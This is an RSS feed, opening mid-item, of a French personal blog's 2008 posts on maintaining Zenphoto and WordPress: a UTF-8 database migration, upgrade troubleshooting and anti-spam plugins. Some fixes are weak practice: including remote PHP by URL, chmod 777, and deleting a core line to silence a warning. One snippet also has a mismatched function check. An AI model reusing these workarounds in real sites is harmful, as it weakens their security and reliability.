style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt; $banniere &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;include&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://zenphoto.pled.fr/?p=heading&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; ($banniere &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;/div&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Une simple condition d&amp;rsquo;ajoutée : si l&amp;rsquo;inclusion est réussie, alors $bannière = 1. Dans le cas contraire, j&amp;rsquo;affiche une bannière par défaut.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai pu le tester en local sur mon poste, cela fonctionne parfaitement. Reste à attendre la prochaine défaillance des serveurs Free !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Zenphoto et les caractères étendus</title>
            <link>https://pled.fr/zenphoto-et-les-caracteres-etendus/</link>
            <pubDate>Sun, 28 Sep 2008 16:27:37 +0000</pubDate>
            <guid>https://pled.fr/zenphoto-et-les-caracteres-etendus/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;caractère étendu mal décodé&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;caracteres.png#floatleft&#34;&gt; Depuis la mise à jour de Zenphoto 1.2, j&amp;rsquo;avais des problèmes avec les caractères étendus. La version 1.2 est la première version entièrement internationalisée, et je suis passé en UTF-8 lors de l&amp;rsquo;upgrade. Sauf que mes tables avaient initialement été créées en Latin1. Après la mise à jour, tout était devenu bancal. Il était temps de faire quelque chose.&lt;/p&gt;&#xA;&lt;p&gt;Je devais passer en UTF-8 lors de la saisie d&amp;rsquo;un nouvel album (et pendant ce temps les anciens albums étaient mal affichés comme dans l&amp;rsquo;image ci-dessus), puis revenir en European ISO pour obtenir un affichage correct pour les anciens comme les nouveaux albums.&lt;/p&gt;&#xA;&lt;p&gt;La seule solution était d&amp;rsquo;exporter la base, et de la réimporter en UTF-8. Simple sur le papier, mais je n&amp;rsquo;aime pas trop ce genre de manip, il y a toujours un risque que l&amp;rsquo;importation se passe mal, etc&amp;hellip; Je me suis donc d&amp;rsquo;abord fait la main sur ma base en local, chose indispensable avant de se lancer sur celle du serveur.&lt;/p&gt;&#xA;&lt;p&gt;Comme attendu, ce n&amp;rsquo;était pas si simple, et les premiers essais se révélèrent peu concluants. Je m&amp;rsquo;en suis sorti en remplaçant tous ces caractères par leur &lt;strong&gt;code HTML&lt;/strong&gt;. Je ne sais si c&amp;rsquo;est très propre, mais en tout cas cela fonctionne.&lt;/p&gt;&#xA;&lt;h3 id=&#34;la-manip&#34;&gt;La manip&#xA;&lt;/h3&gt;&lt;p&gt;- Exporter une par une les tables suivantes par l&amp;rsquo;interface phpMyAdmin : &lt;strong&gt;zen_albums&lt;/strong&gt;, &lt;strong&gt;zen_images&lt;/strong&gt; et &lt;strong&gt;zen_comments&lt;/strong&gt; (zen_ est le prefixe des tables de Zenphoto). Pensez à cocher l&amp;rsquo;option &amp;ldquo;DROP TABLE&amp;rdquo; sur la page d&amp;rsquo;export. Copier/coller le résultat de l&amp;rsquo;exportation dans un fichier. Vous récupérez ainsi 3 fichiers à sauvergarder en local avec l&amp;rsquo;extension &amp;ldquo;.sql&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;- Editer ces fichiers avec un éditeur de texte. Nous allons utiliser la fonction &amp;ldquo;Rechercher - Remplacer&amp;rdquo; que tout éditeur de texte doit avoir.&lt;/p&gt;&#xA;&lt;p&gt;Dans la première partie, la table est recréée  (instruction CREATE TABLE). Remplacer DEFAULT CHARSET=latin1 (ou quoique ce soit d&amp;rsquo;autre) par DEFAULT CHARSET=utf8, et toutes les valeurs &amp;ldquo;COLLATE latin1_general_ci&amp;rdquo; par &amp;ldquo;COLLATE utf8_unicode_ci&amp;rdquo;. Ceci va permettre de recréer la table avec les bons paramètres.&lt;/p&gt;&#xA;&lt;p&gt;Pour le reste, il va maintenant falloir remplacer tous les caractères étendus par leur valeur HTML. On trouve des tables sur internet très facilement, par exemple &lt;a class=&#34;link&#34; href=&#34;http://www.utf8-chartable.de/unicode-utf8-table.pl?utf8=dec&amp;amp;unicodeinhtml=dec&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;ici&lt;/a&gt; : c&amp;rsquo;est la colonne &amp;quot; &lt;em&gt;numerical HTML encoding of the Unicode character&lt;/em&gt;&amp;quot; qui nous intéresse. Vous verrez une liste de ce genre :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;html code&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;228px&#34; data-flex-grow=&#34;95&#34; height=&#34;196&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/zenphoto-et-les-caracteres-etendus/htmlcode.png&#34; width=&#34;187&#34;&gt; Il ne reste plus qu&amp;rsquo;à remplacer tous ces caractères présents dans vos tables par le code. Parcourez aussi rapidement les fichiers pour vous assurer qu&amp;rsquo;aucun autre codage n&amp;rsquo;est présent. Si c&amp;rsquo;est le cas, remplacer le également.&lt;/p&gt;&#xA;&lt;p&gt;Il ne vous reste qu&amp;rsquo;à réimporter le fichier, toujours par l&amp;rsquo;interface phpMyAdmin. Vérifiez que l&amp;rsquo;instruction DROP TABLE est présente dans votre fichier avant de l&amp;rsquo;exécuter.&lt;/p&gt;&#xA;&lt;p&gt;Et voilà, Zenphoto est maintenant en UTF-8 définitivement.Tout fonctionne, les anciens comme les nouveaux albums sont bien affichés, et même l&amp;rsquo;éditeur &amp;ldquo;à la volée&amp;rdquo; qui permet de modifier la texte tout en parcourant l&amp;rsquo;album (il faut être identifié et avoir les droits pour ce faire, bien sûr).&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Zenphoto 1.2</title>
            <link>https://pled.fr/zenphoto-12/</link>
            <pubDate>Sat, 23 Aug 2008 18:03:34 +0000</pubDate>
            <guid>https://pled.fr/zenphoto-12/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;zenphoto 1.2&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;zenphoto.png#floatleft&#34;&gt;Cela faisait longtemps que l&amp;rsquo;attendais, cette version ! Et voilà, elle est enfin sortie. Elle permet de déplacer les albums dans des sous-albums, et je vais pouvoir réorganiser l&amp;rsquo;album-photo, probablement par années. Première version entièrement internationalisée, avec la langue française disponible. Interface optimisée et améliorée, plus de 200 bugs de corrigés.&#xA;&amp;quot; &lt;em&gt;The most complete and useful Zenphoto package to date&lt;/em&gt;&amp;quot; comme le dit le développeur en chef.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai eu quelques soucis pendant la mise à jour, d&amp;rsquo;abord par ma faute. J&amp;rsquo;ai oublié de remplacer les fichiers à la racine de la galerie (ne m&amp;rsquo;occupant que des répertoires zp-core et themes). Résultat, tout fonctionnait sauf le thème. Aucune page de style n&amp;rsquo;était chargée, et l&amp;rsquo;affichage du code source donnait ceci :&#xA;[sourcecode language=&amp;lsquo;php&amp;rsquo;]&#xA;link rel=&amp;ldquo;stylesheet&amp;rdquo; href=&amp;quot;/gallery/themes/1/zen.css&amp;quot; type=&amp;ldquo;text/css&amp;rdquo;&#xA;[/sourcecode]&#xA;Le chemin &lt;strong&gt;/themes/1/zen.css&lt;/strong&gt; n&amp;rsquo;est évidemment pas bon, quelque soit le thème utilisé, j&amp;rsquo;obtenais &lt;strong&gt;1&lt;/strong&gt; au lieu du nom du répertoire de mon thème. Ne trouvant pas de solution, j&amp;rsquo;ai fini par poser la question sur le forum. Une heure après, j&amp;rsquo;avais la réponse. Et je n&amp;rsquo;avais plus qu&amp;rsquo;à dire &amp;ldquo;Oups, sorry&amp;hellip;&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai également un autre problème avec les caractères accentués de notre belle langue française. Ayant donc choisi Français pendant la mise à jour, et UTF-8 comme table d&amp;rsquo;encodage des caractères (comme précédemment), leur affichage était devenu incorrect :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;caractère étendu mal décodé&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1142px&#34; data-flex-grow=&#34;476&#34; height=&#34;84&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/zenphoto-12/caracteres.png&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;avais déjà remarqué un problème avec ce type de caractères en utilisant l&amp;rsquo;éditeur de commentaires disponible lorsque l&amp;rsquo;on parcourt l&amp;rsquo;album (avec les droits d&amp;rsquo;administrateur). Ils étaient précédemment mal sauvegardés. Or si avec cette nouvelle version 1.2, les commentaires étaient mal affichés (voir ci-dessus), je pouvais maintenant utiliser cet éditeur !&lt;/p&gt;&#xA;&lt;p&gt;La priorité, c&amp;rsquo;était bien entendu d&amp;rsquo;afficher les commentaires correctement. Je suis donc passé en ISO Western European, et tout est redevenu normal. Mais je ne peux plus utiliser l&amp;rsquo;éditeur &amp;ldquo;on-browsing&amp;rdquo;. Il y a une certaine logique dans tout ça ! ;-)&lt;/p&gt;&#xA;&lt;p&gt;Bref, le diagnostic est le suivant : pour une raison inconnue (bug des premières versions de zenphoto, ou mauvaise manip de ma part), mes albums existants sont encodés en ISO. Avec cette nouvelle version, tout fonctionnerait en UTF-8 (ce qui est préférable, c&amp;rsquo;est la table de caractères internationaux que tout le monde utilise de nos jours). Tout sauf les anciens albums qu&amp;rsquo;ils faudraient alors tous modifier manuellement, et donc un gros boulot en perspective. Pour finalement ne gagner que l&amp;rsquo;avantage de modifier les commentaires en parcourant l&amp;rsquo;album, chose pratique certes, mais pas indispensable.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai posé une nouvelle question sur le forum, pas de réponse pour l&amp;rsquo;instant. Je ne sais pas s&amp;rsquo;il existe une solution simple, tout cela est stocké dans la base de données&amp;hellip; et c&amp;rsquo;est toujours un peu galère, ces histoires d&amp;rsquo;encodage. A suivre&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;avais aussi quelques messages d&amp;rsquo;erreur sur mes pages. J&amp;rsquo;utilisais des fonctions sans tester si elles existaient&amp;hellip; comme printAlbumRating, ou printAlbumMap. La mise à jour dévalide apparemment toutes ces fonctions. Il faut que je regarde ça, en attendant, j&amp;rsquo;ai codé de manière un peu plus propre :&#xA;[sourcecode language=&amp;lsquo;php&amp;rsquo;]&#xA;php if (function_exists(&amp;lsquo;printImageRating&amp;rsquo;)) { printImageRating(); }&#xA;php if (function_exists(&amp;lsquo;printImageRating&amp;rsquo;)) { printAlbumMap(); }&#xA;[/sourcecode]&#xA;Le code est assez parlant&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Globalement, la mise à jour s&amp;rsquo;est quand même bien passée. et je peux maintenant réorganiser les albums&amp;hellip; Ce sera pour un peu plus tard.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Photopress</title>
            <link>https://pled.fr/photopress-2/</link>
            <pubDate>Sat, 28 Jun 2008 14:23:20 +0000</pubDate>
            <guid>https://pled.fr/photopress-2/</guid>
            <description>&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?pp_album=main&amp;amp;pp_cat=a-la-une&#34; &gt;&lt;img alt=&#34;Accéder à la page de l’album A la Une&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;282px&#34; data-flex-grow=&#34;117&#34; height=&#34;295&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/photopress-2/photopress.png&#34; width=&#34;347&#34;&gt;&lt;/a&gt; Depuis la mise à jour de Wordpress 2.5, j&amp;rsquo;avais un problème avec &lt;strong&gt;Photopress&lt;/strong&gt;, le plugin qui me sert à afficher une image aléatoire (rubrique &lt;em&gt;Une photo&amp;hellip;&lt;/em&gt;) en haut de la colonne gauche.&lt;/p&gt;&#xA;&lt;p&gt;Aucun lien donc avec l&amp;rsquo;album principal de ZenPhoto; historiquement ce sont les photos qui faisaient &amp;ldquo;la Une&amp;rdquo; de mon ancien site. ZenPhoto n&amp;rsquo;est arrivé qu&amp;rsquo;après le blog. J&amp;rsquo;ai conservé cet album, y ajoutant des photos de temps en temps. Il est intégré à Wordpress, et permet de visualiser une sélection de photos par ailleurs présentes dans l&amp;rsquo;album ZenPhoto pour la plupart.&lt;/p&gt;&#xA;&lt;p&gt;Je pouvais toujours ajouter de nouvelles photos, mais impossible de visualiser l&amp;rsquo;album, que ce soit par le panneau d&amp;rsquo;administration ou par le blog. Je ne suis pas certain d&amp;rsquo;avoir bien désactivé le plugin lors de la mise à jour Wordpress, tout est peut-être venu de là (ou bien d&amp;rsquo;un bug photopress&amp;hellip;).&lt;/p&gt;&#xA;&lt;p&gt;Toujours est-il qu&amp;rsquo;après quelques recherches infructueuses sur le net, je me suis décidé à refaire l&amp;rsquo;album de zéro.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;en ai profité pour agrandir la taille originale des photos (hauteur max 800). Il a quand même fallu que je retrouve toutes les photos (il en manque quelques unes, et qui sont donc restées en petit format), les recharge dans Photopress, mette les commentaires&amp;hellip; Quelques heures de boulot, mais maintenant tout refonctionne.&lt;/p&gt;&#xA;&lt;p&gt;On peut y accéder en cliquant sur l&amp;rsquo;image &amp;ldquo;Une photo&amp;hellip;&amp;rdquo;, puis sur le nom de l&amp;rsquo;album &lt;strong&gt;A la Une&lt;/strong&gt;.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Last.fm widgets et autres modifs</title>
            <link>https://pled.fr/exit-lastfm-widgets-et-autres-modifs/</link>
            <pubDate>Thu, 29 May 2008 12:40:44 +0000</pubDate>
            <guid>https://pled.fr/exit-lastfm-widgets-et-autres-modifs/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;last.fm widget en java&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;lastfmjava.png#floatleft&#34;&gt; J&amp;rsquo;avais profité du changement du thème du blog pour utiliser les widgets en java proposés par &lt;strong&gt;Last.fm&lt;/strong&gt; pour afficher la musique que j&amp;rsquo;écoute. C&amp;rsquo;était plutôt sympa, avec affichage de pochettes ou photos au survol de la souris, défilement latéral automatique, etc&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Oui, mais afficher les morceaux écoutés récemment et le top artiste hebdo avait un coût processeur: 6-7% pour le premier, 3-4% pour le second. Résultat, je voyais que Firefox prenait constamment 10 à 12% de cpu, sans comprendre pourquoi dans un premier temps. J&amp;rsquo;ai regardé ça d&amp;rsquo;un peu plus près hier, et me suis aperçu que les widgets Last.fm en étaient la cause.&#xA;C&amp;rsquo;est souvent le problème avec ce genre de gadgets (bonne traduction de widget): c&amp;rsquo;est chouette, mais finalement coûteux en ressource, et d&amp;rsquo;un intérêt parfois douteux. On trouve des blogs affichant tout et n&amp;rsquo;importe quoi : la météo, le cours d&amp;rsquo;une action&amp;hellip; j&amp;rsquo;ai même vu récemment un widget Wordpress pour afficher les résultat de l&amp;rsquo;Euro 2008 de football ! Or, celui qui cherchera les résultats ira plus que probablement sur un site dédié, complet. Attention donc&amp;hellip; &lt;em&gt;Keep it simple !&lt;/em&gt;&lt;img alt=&#34;last.fm charts statique&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;105px&#34; data-flex-grow=&#34;43&#34; height=&#34;501&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/exit-lastfm-widgets-et-autres-modifs/lastfmstatic.png&#34; width=&#34;220&#34;&gt; Alors voilà, retour à l&amp;rsquo;ancien système, plus classique, sans images ni défilement latéral (scrolling)&amp;hellip; mais 10% de cpu de gagné !&lt;/p&gt;&#xA;&lt;h3 id=&#34;autres-modifs&#34;&gt;Autres modifs&#xA;&lt;/h3&gt;&lt;p&gt;J&amp;rsquo;en ai profité pour faire quelques modifs sur le blog, comme de retirer l&amp;rsquo;entrée &amp;ldquo;Administration&amp;rdquo; de la colonne de droite. En fait cela ne servait que pour m&amp;rsquo;identifier&amp;hellip; historiquement, c&amp;rsquo;était pour que les amis puisse se créer un compte (et publier des articles). La pratique montre que cela ne sert pas ou si peu qu&amp;rsquo;il est préférable de libérer la place occupée pour rien.&#xA;Dans la même idée, suppression de la page UTILISATION qui apparaissait dans le menu supérieur du Blog. Elle n&amp;rsquo;était plus à jour depuis le passage à Wordpress 2.5, et même constat : elle ne servait à rien.&#xA;Elle est maintenant remplacée par une page de STATS qui résume quelques statistiques du site. Ces statistiques sont réalisées avec le plugin &lt;a class=&#34;link&#34; href=&#34;http://lesterchan.net/wordpress/readme/wp-stats.html&#34;  title=&#34;Site plugin WP-Stats&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;WP-Stats&lt;/a&gt;. Il était présent dans l&amp;rsquo;ancien thème, mais faisait partie des plugins ne fonctionnant plus avec Wordpresss 2.5. Nouvelle version donc (v2.3), expurgée de certaines statistiques inutiles, en tout cas pour mon blog.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Anti-spam pour wordpress</title>
            <link>https://pled.fr/anti-spam-pour-wordpress/</link>
            <pubDate>Sun, 18 May 2008 17:26:49 +0000</pubDate>
            <guid>https://pled.fr/anti-spam-pour-wordpress/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;no-spam&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;no-spam.jpg#floatleft&#34;&gt; Les spams, ces messages &amp;ldquo;non sollicités&amp;rdquo; comme on dit, ne polluent pas que les messageries, mais aussi les blogs. Jusque là, la protection par défaut de Wordpress &lt;strong&gt;Askimet&lt;/strong&gt; m&amp;rsquo;avait suffit. Suite à une rafale reçue ce week-end, j&amp;rsquo;ai du chercher une autre solution.&lt;/p&gt;&#xA;&lt;h3 id=&#34;askimet&#34;&gt;Askimet&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Askimet&lt;/strong&gt; fonctionne sur le principe de mots-clefs, d&amp;rsquo;analyse du texte (AI, Intelligence Artificielle), de liste d&amp;rsquo;émetteurs connus comme spameurs, en étant connecté à un serveur qui maintient les données à jour. C&amp;rsquo;est assez efficace, mais quelques spams arrivent à passer. De plus, ce sont bien souvent des &lt;strong&gt;bots&lt;/strong&gt; (abréviation de robots, disons d&amp;rsquo;autres ordinateurs) qui sont à l&amp;rsquo;origine de ces faux messages. Et un ordinateur, ça va très vite&amp;hellip; pollution maximale.&lt;/p&gt;&#xA;&lt;h3 id=&#34;les-captchas&#34;&gt;Les Captchas&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;captcha&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;736px&#34; data-flex-grow=&#34;306&#34; height=&#34;60&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/anti-spam-pour-wordpress/captcha.jpg&#34; width=&#34;184&#34;&gt; La solution classique est la &lt;strong&gt;captcha&lt;/strong&gt;. C&amp;rsquo;est l&amp;rsquo;acronyme de l&amp;rsquo;anglais &lt;em&gt;« &lt;strong&gt;C&lt;/strong&gt; ompletely &lt;strong&gt;A&lt;/strong&gt; utomated &lt;strong&gt;P&lt;/strong&gt; ublic &lt;strong&gt;T&lt;/strong&gt; uring test to tell &lt;strong&gt;C&lt;/strong&gt; omputers and &lt;strong&gt;H&lt;/strong&gt; umans &lt;strong&gt;A&lt;/strong&gt; part »&lt;/em&gt;, soit en français, « Test public de Turing complètement automatique ayant pour but de différencier les humains des ordinateurs ».&lt;/p&gt;&#xA;&lt;p&gt;Il s&amp;rsquo;agit donc de faire effectuer une tâche comme de taper des lettres d&amp;rsquo;une image, répondre à une simple question (combien font 2 + 3 ?), etc&amp;hellip; Le problème est que cela exclue généralement les mal-voyants d&amp;rsquo;une part, et d&amp;rsquo;autre part les bots sont de plus en plus sophistiqués, faisant appel à des logiciels de reconnaissance de caractères&amp;hellip; On arrive soit à des textes illisibiles pour de plus en plus de personnes, ou des questions de ce type (j&amp;rsquo;ose espérer que cette captcha est une blague, ou réservée à un club de mathématiciens&amp;hellip;) :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;simple question&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;408px&#34; data-flex-grow=&#34;170&#34; height=&#34;246&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/anti-spam-pour-wordpress/captcha5.jpg&#34; width=&#34;419&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;wp-spamfree&#34;&gt;WP-SpamFree&#xA;&lt;/h3&gt;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;http://www.hybrid6.com/webgeek/plugins/wp-spamfree&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;img alt=&#34;WP-SpamFree for WordPress&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;http://www.hybrid6.com/webgeek/images/wp-spamfree/spamfree-button-01-blue.png&#34;&gt;&lt;/a&gt; Je suis alors tombé sur ce plugin, écrit par &lt;strong&gt;Scott Allen&lt;/strong&gt;, patron d&amp;rsquo;Hybrid6 Studios, une boite de marketing internet et de design web basée à Los Angeles. Passioné de marketing, dévelopement et design web.&lt;/p&gt;&#xA;&lt;p&gt;Scott avait travaillé précédemment sur une protection des sites de ses clients attaqués par le formulaire de mail &amp;ldquo;Contactez-nous&amp;rdquo; que l&amp;rsquo;on trouve en général sur tous les sites. Il l&amp;rsquo;a modifié pour les blogs wordpress, et cela s&amp;rsquo;est révélé si efficace qu&amp;rsquo;il a décidé d&amp;rsquo;en faire un plugin pour Wordpress, et de le rendre accessible à tous.&lt;/p&gt;&#xA;&lt;p&gt;Comment ça marche ? il utilise une combinaison de Javascript et de cookies pour différencier l&amp;rsquo;humain de la machine, et apparemment y arrive pour 99+ % ! Les spams ne sont pas saisis, pas de liste de commentaires à valider comme le fait Askimet. S&amp;rsquo;il y a erreur, le blogueur est averti et peut valider son message.&lt;/p&gt;&#xA;&lt;p&gt;La plupart des navigateurs actuels ayant ces deux fonctionnalités activées, c&amp;rsquo;est donc totalement transparent pour le blogueur. Et c&amp;rsquo;est beaucoup moins gênant que le principe de captcha.&lt;/p&gt;&#xA;&lt;p&gt;Voilà, je l&amp;rsquo;ai mis en place hier, et déjà 41 spams de bloqués. J&amp;rsquo;avais laissé une suggestion sur son blog : pouvoir récupérer juste le nombre de spams bloqués, afin de l&amp;rsquo;afficher dans le pied-de-page, avec les autres statistiques. Ce matin, j&amp;rsquo;avais une réponse me disant que c&amp;rsquo;était une bonne idée, qu&amp;rsquo;il le ferait pour la prochaine version. Cool !&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;en ai aussi profité pour passer à Wordpress 2.5.1, qui corrige pas mal de bugs et de failles de sécurité.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Mise à jour Wordpress 2.5 : problèmes rencontrés</title>
            <link>https://pled.fr/mise-a-jour-wordpress-25-problemes-rencontres/</link>
            <pubDate>Thu, 24 Apr 2008 17:51:43 +0000</pubDate>
            <guid>https://pled.fr/mise-a-jour-wordpress-25-problemes-rencontres/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;Wordpress&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;wordpressicon-hanttula2.gif#floatleft&#34;&gt; Le passage à Wordpress 2.5 ne s&amp;rsquo;est pas passé sans anicroche. Il y a pas mal de changements dans cette version&amp;hellip; et donc fatalement des bugs. Il est également fortement recommandé de vérifier que tous les plugins que l&amp;rsquo;on utilise actuellement fonctionnent, rien n&amp;rsquo;est moins sûr.&lt;/p&gt;&#xA;&lt;p&gt;Voilà les problèmes que j&amp;rsquo;ai rencontré :&lt;/p&gt;&#xA;&lt;h3 id=&#34;téléchargement-des-images&#34;&gt;Téléchargement des images&#xA;&lt;/h3&gt;&lt;p&gt;Impossible de télécharger une image lors de l&amp;rsquo;écriture d&amp;rsquo;un article. Un beau message &lt;strong&gt;Crunching&amp;hellip;&lt;/strong&gt; apparaît dans le tout nouveau chargeur de media réécrit avec la techno Flash. C&amp;rsquo;est facile de contourner le problème en téléchargeant l&amp;rsquo;image manuellement, mais vraiment embêtant pour une utilisation normale. Et je ne suis pas le seul, il y a de nombreux articles sur le sujet sur le net. Finalement, Wordpress a fourni un Plugin appelé &lt;strong&gt;no-flash-uploader&lt;/strong&gt;. Voici &lt;a class=&#34;link&#34; href=&#34;http://wordpress.org/support/topic/164999&#34;  title=&#34;Lien vers l&amp;#39;article&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;la page&lt;/a&gt; à consulter pour ce problème (en anglais), le lien pour le plugin est en bas de page.&lt;/p&gt;&#xA;&lt;h3 id=&#34;message-derreur--unable-to-access-cachephperr&#34;&gt;Message d&amp;rsquo;erreur : &lt;em&gt;Unable to access /cache/php.err&lt;/em&gt;&#xA;&lt;/h3&gt;&lt;p&gt;Le message d&amp;rsquo;erreur suivant s&amp;rsquo;affichait avec le plugin photopress (lors de l&amp;rsquo;affichage de l&amp;rsquo;album) ainsi que pour le plugin backup :&#xA;[sourcecode language=&amp;lsquo;php&amp;rsquo;]&#xA;Warning: is_writable() [function.is-writable]: Unable to access /cache/php.err&#xA;in /mnt/121/sdb/9/2/pascal.ledisque/wordpress/wp-includes/wp-db.php on line 200&#xA;[/sourcecode]&#xA;Là, ce fût un peu plus difficile de trouver une solution, si on peut parler de solution d&amp;rsquo;ailleurs. Sur un site professionnel (pour un particulier, cela veut dire payant), il suffit de modifier les droits d&amp;rsquo;écriture sur le répertoire /cache (un bon vieux chmod 777). Mais chez Free, nous n&amp;rsquo;avons pas les droits pour le faire, et aucune chance que Free ne le fasse pour nous, sécurité oblige. J&amp;rsquo;ai fini par trouver sur un site une solution simple, pas très propre mais radicale : supprimer (ou mettre en commentaire) la ligne 200 du fichier wp-db.php. Cela s&amp;rsquo;appelle soigner le mal à la racine !&lt;/p&gt;&#xA;&lt;h3 id=&#34;plugin-photopress&#34;&gt;Plugin photopress&#xA;&lt;/h3&gt;&lt;p&gt;Ce plugin me sert à afficher un album à part des albums de la gallerie zenphoto, c&amp;rsquo;est la photo affichée dans &lt;strong&gt;Une photo&amp;hellip;&lt;/strong&gt;, en haut de la colonne gauche. Cet album contient les images qui étaient affichées &lt;strong&gt;A la Une&lt;/strong&gt; de l&amp;rsquo;ancien site. Une sorte de Best of&amp;hellip; Je continue à y ajouter une photo de temps en temps.&#xA;Bref, ce plugin (non validé sous Wordpress 2.5) supporte mal la mise à jour Wordpress. Le problème semble venir de la gestion des albums. Ça marche en local, mais pas chez Free. On ne peut plus le parcourir. En attendant une solution, c&amp;rsquo;est maintenant une fenêtre pop-up qui s&amp;rsquo;ouvre pour afficher l&amp;rsquo;image en taille normale. Je vais voir si je ne peux pas utiliser zenphoto pour faire la même chose, ou attendre une nouvelle version du plugin, testé pour Wordpress 2.5. Il y a des commentaires sur ces photos, et changer de plugin risque de ne pas être facile si je veux les conserver. A suivre&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Voilà, c&amp;rsquo;est à peu près tout 